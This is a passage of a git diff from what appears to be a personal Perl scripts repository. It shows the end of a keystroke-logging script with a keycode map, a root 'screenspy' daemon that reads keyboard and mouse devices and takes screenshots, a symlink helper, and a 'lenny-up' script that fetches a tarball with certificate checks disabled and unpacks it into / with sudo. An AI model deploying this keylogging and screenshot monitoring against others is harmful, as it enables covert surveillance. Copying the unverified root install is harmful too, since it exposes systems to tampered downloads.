sprintf("%2d", $time[0]),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
open (my $log, ">>", $conf->{logfile});
|
||||||
|
print $log "[$ts] "
|
||||||
|
. ($event eq "release" ? "<Release>" : "<Press>")
|
||||||
|
. " "
|
||||||
|
. ($key eq " " ? "{space}" : $key)
|
||||||
|
. "\n";
|
||||||
|
close ($log);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# QWERTY keysym finder
|
||||||
|
sub kbd_qwerty {
|
||||||
|
my ($event,$sym) = @_;
|
||||||
|
|
||||||
|
# Modifier keys.
|
||||||
|
my %modkeys = (
|
||||||
|
50 => 'shift', # L Shift
|
||||||
|
62 => 'shift', # R Shift
|
||||||
|
37 => 'ctrl', # L Ctrl
|
||||||
|
105 => 'ctrl', # R Ctrl
|
||||||
|
64 => 'alt', # L Alt
|
||||||
|
108 => 'alt', # R Alt
|
||||||
|
133 => 'super', # L Super
|
||||||
|
);
|
||||||
|
if (exists $modkeys{$sym}) {
|
||||||
|
my $name = $modkeys{$sym};
|
||||||
|
$mod{$name} = $event eq "press" ? 1 : 0;
|
||||||
|
return "{\u$name}";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Qwerty keys.
|
||||||
|
my %keys = (
|
||||||
|
# qwerty row
|
||||||
|
24 => [ 'q', 'Q' ], # normal, shift key
|
||||||
|
25 => [ 'w', 'W' ],
|
||||||
|
26 => [ 'e', 'E' ],
|
||||||
|
27 => [ 'r', 'R' ],
|
||||||
|
28 => [ 't', 'T' ],
|
||||||
|
29 => [ 'y', 'Y' ],
|
||||||
|
30 => [ 'u', 'U' ],
|
||||||
|
31 => [ 'i', 'I' ],
|
||||||
|
32 => [ 'o', 'O' ],
|
||||||
|
33 => [ 'p', 'P' ],
|
||||||
|
34 => [ '[', '{' ],
|
||||||
|
35 => [ ']', '}' ],
|
||||||
|
51 => [ "\\", '|' ],
|
||||||
|
|
||||||
|
# asdf row
|
||||||
|
38 => [ 'a', 'A' ],
|
||||||
|
39 => [ 's', 'S' ],
|
||||||
|
40 => [ 'd', 'D' ],
|
||||||
|
41 => [ 'f', 'F' ],
|
||||||
|
42 => [ 'g', 'G' ],
|
||||||
|
43 => [ 'h', 'H' ],
|
||||||
|
44 => [ 'j', 'J' ],
|
||||||
|
45 => [ 'k', 'K' ],
|
||||||
|
46 => [ 'l', 'L' ],
|
||||||
|
47 => [ ';', ':' ],
|
||||||
|
48 => [ '"', "'" ],
|
||||||
|
36 => "{Return}",
|
||||||
|
|
||||||
|
# zxcv row
|
||||||
|
52 => [ 'z', 'Z' ],
|
||||||
|
53 => [ 'x', 'X' ],
|
||||||
|
54 => [ 'c', 'C' ],
|
||||||
|
55 => [ 'v', 'V' ],
|
||||||
|
56 => [ 'b', 'B' ],
|
||||||
|
57 => [ 'n', 'N' ],
|
||||||
|
58 => [ 'm', 'M' ],
|
||||||
|
59 => [ ',', '<' ],
|
||||||
|
60 => [ '.', '>' ],
|
||||||
|
61 => [ '/', '?' ],
|
||||||
|
|
||||||
|
# number row
|
||||||
|
49 => [ '`', '~' ],
|
||||||
|
10 => [ '1', '!' ],
|
||||||
|
11 => [ '2', '@' ],
|
||||||
|
12 => [ '3', '#' ],
|
||||||
|
13 => [ '4', '$' ],
|
||||||
|
14 => [ '5', '%' ],
|
||||||
|
15 => [ '6', '^' ],
|
||||||
|
16 => [ '7', '&' ],
|
||||||
|
17 => [ '8', '*' ],
|
||||||
|
18 => [ '9', '(' ],
|
||||||
|
19 => [ '0', ')' ],
|
||||||
|
20 => [ '-', '_' ],
|
||||||
|
21 => [ '+', '=' ],
|
||||||
|
|
||||||
|
# space bar
|
||||||
|
65 => ' ',
|
||||||
|
|
||||||
|
# number pad
|
||||||
|
90 => '{Num-0}',
|
||||||
|
87 => '{Num-1}',
|
||||||
|
88 => '{Num-2}',
|
||||||
|
89 => '{Num-3}',
|
||||||
|
83 => '{Num-4}',
|
||||||
|
84 => '{Num-5}',
|
||||||
|
85 => '{Num-6}',
|
||||||
|
79 => '{Num-7}',
|
||||||
|
80 => '{Num-8}',
|
||||||
|
81 => '{Num-9}',
|
||||||
|
106 => '{Num-/}',
|
||||||
|
63 => '{Num-*}',
|
||||||
|
82 => '{Num--}',
|
||||||
|
86 => '{Num-+}',
|
||||||
|
|
||||||
|
# F keys
|
||||||
|
67 => '{F1}',
|
||||||
|
68 => '{F2}',
|
||||||
|
69 => '{F3}',
|
||||||
|
70 => '{F4}',
|
||||||
|
71 => '{F5}',
|
||||||
|
72 => '{F6}',
|
||||||
|
73 => '{F7}',
|
||||||
|
74 => '{F8}',
|
||||||
|
75 => '{F9}',
|
||||||
|
76 => '{F10}',
|
||||||
|
95 => '{F11}',
|
||||||
|
96 => '{F12}',
|
||||||
|
|
||||||
|
# Misc
|
||||||
|
9 => '{Esc}',
|
||||||
|
22 => '{Backspace}',
|
||||||
|
77 => '{Num Lock}',
|
||||||
|
107 => '{Print Scr}',
|
||||||
|
118 => '{Insert}',
|
||||||
|
119 => '{Delete}',
|
||||||
|
110 => '{Home}',
|
||||||
|
112 => '{Pg Up}',
|
||||||
|
117 => '{Pg Dn}',
|
||||||
|
115 => '{End}',
|
||||||
|
111 => '{Up}',
|
||||||
|
116 => '{Down}',
|
||||||
|
113 => '{Left}',
|
||||||
|
114 => '{Right}',
|
||||||
|
135 => '{Menu}',
|
||||||
|
23 => '{Tab}',
|
||||||
|
66 => '{Caps Lock}',
|
||||||
|
);
|
||||||
|
|
||||||
|
if (exists $keys{$sym}) {
|
||||||
|
if (ref($keys{$sym})) {
|
||||||
|
print "(shift key: $mod{shift})\n";
|
||||||
|
if ($mod{shift}) {
|
||||||
|
return $keys{$sym}->[1];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return $keys{$sym}->[0];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $keys{$sym};
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "{Unknown: $sym}";
|
||||||
|
}
|
||||||
|
}
|
9
lenny-up
Executable file
9
lenny-up
Executable file
|
@ -0,0 +1,9 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
# Get some updated software on Debian Lenny, especially `git`.
|
||||||
|
|
||||||
|
if (!-d "/opt/git") {
|
||||||
|
print "Fetching latest git\n";
|
||||||
|
system(qw(wget --no-check-certificate https://rpm.kirsle.net/static-bin/git/lenny/latest.tar.gz -O git-lenny.tar.gz));
|
||||||
|
system(qw(sudo tar -xzvf git-lenny.tar.gz -C /));
|
||||||
|
}
|
80
mt-link-stuff
Executable file
80
mt-link-stuff
Executable file
|
@ -0,0 +1,80 @@
|
||||||
|
#!/usr/bin/perl
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use Cwd;
|
||||||
|
|
||||||
|
# Make symlinks from your git-project repo into the system. This is only
|
||||||
|
# designed to work with Media Temple's git-project workflow.
|
||||||
|
#
|
||||||
|
# Usage: sudo link-stuff.pl /path/to/git/project
|
||||||
|
#
|
||||||
|
# The git-project root should have top-level folders such as `perl-libs`, with
|
||||||
|
# a path convention like e.g. `perl-libs/$NAME/lib/**/*.pm` -- this script will
|
||||||
|
# attempt to find system-installed counterparts and symlink them to the file
|
||||||
|
# from your git repo.
|
||||||
|
#
|
||||||
|
# Currently supports the following types of things:
|
||||||
|
# * perl-libs
|
||||||
|
|
||||||
|
my $root = shift;
|
||||||
|
if (!$root) {
|
||||||
|
die "Usage: $0 /path/to/git/project\n";
|
||||||
|
}
|
||||||
|
if (!-d $root) {
|
||||||
|
die "Error: $root is not a directory\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
chdir($root);
|
||||||
|
my $abspath = Cwd::abs_path(".");
|
||||||
|
|
||||||
|
if (-d "./perl-libs") {
|
||||||
|
perl_libs();
|
||||||
|
}
|
||||||
|
|
||||||
|
sub perl_libs {
|
||||||
|
# Root directories to check.
|
||||||
|
my @lib = (
|
||||||
|
"/usr/share/perl5",
|
||||||
|
"/usr/share/perl5/vendor_perl",
|
||||||
|
);
|
||||||
|
|
||||||
|
# Find all the perl-libs projects.
|
||||||
|
opendir(my $dh, "./perl-libs");
|
||||||
|
foreach my $project (readdir($dh)) {
|
||||||
|
next unless -d "./perl-libs/$project/lib";
|
||||||
|
print "Project: perl-libs/$project\n";
|
||||||
|
|
||||||
|
# Get its modules.
|
||||||
|
foreach my $module (scan("./perl-libs/$project/lib")) {
|
||||||
|
$module =~ s{^\./perl-libs/$project/lib/}{}g;
|
||||||
|
foreach my $lib (@lib) {
|
||||||
|
if (-f "$lib/$module") {
|
||||||
|
print " - Link: $lib/$module\n";
|
||||||
|
unlink("$lib/$module");
|
||||||
|
symlink("$abspath/perl-libs/$project/lib/$module", "$lib/$module");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Recursively scan a directory.
|
||||||
|
sub scan {
|
||||||
|
my $dir = shift;
|
||||||
|
|
||||||
|
my @found;
|
||||||
|
|
||||||
|
opendir (my $dh, $dir);
|
||||||
|
foreach my $file (readdir($dh)) {
|
||||||
|
next if ($file eq '.' || $file eq '..');
|
||||||
|
if (-d "$dir/$file") {
|
||||||
|
push @found, scan("$dir/$file");
|
||||||
|
} else {
|
||||||
|
push @found, "$dir/$file";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
closedir($dh);
|
||||||
|
|
||||||
|
return @found;
|
||||||
|
}
|
167
screenspy
Executable file
167
screenspy
Executable file
|
@ -0,0 +1,167 @@
|
||||||
|
#!/usr/bin/perl -w
|
||||||
|
|
||||||
|
# screenspy - Linux desktop monitoring daemon. Must be run as root.
|
||||||
|
|
||||||
|
# This script monitors one or more hardware devices (usually under /dev) for
|
||||||
|
# Linux systems running an X window manager.
|
||||||
|
#
|
||||||
|
# This script must be run as root because usually only root can read from
|
||||||
|
# hardware devices directly. You can set up a panel launcher to run this
|
||||||
|
# script with `sudo` if you previously set up the sudoers file to let your
|
||||||
|
# user run this script with no password.
|
||||||
|
#
|
||||||
|
# --Kirsle
|
||||||
|
# http://sh.kirsle.net/
|
||||||
|
|
||||||
|
use strict;
|
||||||
|
use warnings;
|
||||||
|
use threads;
|
||||||
|
use threads::shared;
|
||||||
|
|
||||||
|
#################
|
||||||
|
# Configuration #
|
||||||
|
#################
|
||||||
|
|
||||||
|
# X display to grab screenshots from.
|
||||||
|
$ENV{DISPLAY} ||= ":0.0";
|
||||||
|
|
||||||
|
# Devices to monitor.
|
||||||
|
our @devices = (
|
||||||
|
"/dev/console", # keyboard input
|
||||||
|
"/dev/input/mice", # mouse input
|
||||||
|
);
|
||||||
|
|
||||||
|
# Screenshot command.
|
||||||
|
our $screenshot = 'scrot -q 85 "%s"';
|
||||||
|
|
||||||
|
# Output directory for screenshots.
|
||||||
|
our $outdir = '/home/kirsle/Pictures/screenspy';
|
||||||
|
|
||||||
|
# Calibration: number of seconds (after no activity) for it to take a screenshot.
|
||||||
|
our $threshold = 2; # I found that 2 seconds is the best for my system, 1 second and it takes screenshots too often.
|
||||||
|
|
||||||
|
# Calibration: if there's too much activity after the threshold, take screenshots every N seconds.
|
||||||
|
our $prolonged = 5;
|
||||||
|
|
||||||
|
# If you want some indication that the app is running, put the command to run in here.
|
||||||
|
# This command will be repeatedly run. Recommended is to use zenity and put an icon in
|
||||||
|
# your system tray. Leave blank for no command.
|
||||||
|
our $notify = "zenity --notification --window-icon=/usr/share/pixmaps/gnome-spider.png --text 'Running...'";
|
||||||
|
|
||||||
|
#####################
|
||||||
|
# End Configuration #
|
||||||
|
#####################
|
||||||
|
|
||||||
|
# Only let this script run once.
|
||||||
|
&checkdupes();
|
||||||
|
|
||||||
|
# Each thread will report the time when the last event happened.
|
||||||
|
my %lastEvent : shared;
|
||||||
|
my %changed : shared;
|
||||||
|
|
||||||
|
# Spawn a thread for each device.
|
||||||
|
my @threads = ();
|
||||||
|
foreach my $dev (@devices) {
|
||||||
|
# Make sure we can read the device.
|
||||||
|
if (!-r $dev) {
|
||||||
|
system("zenity --error --text \"Don't have permission to read from device $dev\"");
|
||||||
|
}
|
||||||
|
push (@threads, threads->create (\&monitor, $dev));
|
||||||
|
}
|
||||||
|
|
||||||
|
# If they want a command run, spawn a thread for it too.
|
||||||
|
if (length $notify) {
|
||||||
|
push (@threads, threads->create (\¬ify));
|
||||||
|
}
|
||||||
|
|
||||||
|
# Loop forever and let the threads do their thing.
|
||||||
|
while (1) {
|
||||||
|
# See if any events have stopped for longer than the threshold.
|
||||||
|
foreach my $dev (keys %lastEvent) {
|
||||||
|
if ($lastEvent{$dev} > 0 && time() - $lastEvent{$dev} >= $threshold) {
|
||||||
|
# take screenshot
|
||||||
|
print "$dev: idle, taking screenshot (" . (time() - $lastEvent{$dev}) . "; $threshold)\n";
|
||||||
|
&screenshot();
|
||||||
|
$lastEvent{$dev} = 0;
|
||||||
|
$changed{$dev} = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
select(undef,undef,undef,0.01);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub monitor {
|
||||||
|
my $device = shift;
|
||||||
|
print "Monitoring device: $device\n";
|
||||||
|
|
||||||
|
# Store the time when the last event was seen.
|
||||||
|
$lastEvent{$device} = 0;
|
||||||
|
|
||||||
|
# When the lastEvent is first set (away from 0), record the time it was changed.
|
||||||
|
# This way for prolonged activity we can still take screenshots.
|
||||||
|
$changed{$device} = 0;
|
||||||
|
|
||||||
|
open (READ, $device);
|
||||||
|
my $buffer;
|
||||||
|
while (read(READ, $buffer, 1)) {
|
||||||
|
# Store the last event time
|
||||||
|
if ($lastEvent{$device} == 0) {
|
||||||
|
$changed{$device} = time();
|
||||||
|
}
|
||||||
|
$lastEvent{$device} = time();
|
||||||
|
|
||||||
|
# Too much activity?
|
||||||
|
if ($changed{$device} > 0 && time() - $changed{$device} > $prolonged) {
|
||||||
|
# Take screenshot.
|
||||||
|
print "$device: prolonged activity (> $prolonged seconds)\n";
|
||||||
|
&screenshot();
|
||||||
|
$changed{$device} = time();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
close (READ);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub notify {
|
||||||
|
while (1) {
|
||||||
|
system($notify);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub screenshot {
|
||||||
|
print "Taking screenshot!\n";
|
||||||
|
|
||||||
|
my @time = localtime(time());
|
||||||
|
my $date = join(" ",
|
||||||
|
join("-",
|
||||||
|
sprintf("%04d", $time[5] + 1900),
|
||||||
|
sprintf("%02d", $time[4] + 1),
|
||||||
|
sprintf("%02d", $time[3]),
|
||||||
|
),
|
||||||
|
join(":",
|
||||||
|
sprintf("%02d", $time[2]),
|
||||||
|
sprintf("%02d", $time[1]),
|
||||||
|
sprintf("%02d", $time[0]),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
my $fname = $date;
|
||||||
|
my $i = 1;
|
||||||
|
while (-f "$outdir/$fname.png") {
|
||||||
|
$fname = $date . " [$i]";
|
||||||
|
$i++;
|
||||||
|
}
|
||||||
|
my $cmd = $screenshot;
|
||||||
|
$cmd =~ s/%s/$outdir\/$fname\.png/ig;
|
||||||
|
system($cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub checkdupes {
|
||||||
|
my $ps = `ps aux | grep screenspy`;
|
||||||
|
foreach my $line (split(/\n/,$ps)) {
|
||||||
|
chomp $line;
|
||||||
|
next if $line =~ /grep/i;
|
||||||
|
next if $line =~ /$$/i;
|
||||||
|
if ($line) {
|
||||||
|
die "Script is already running!\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user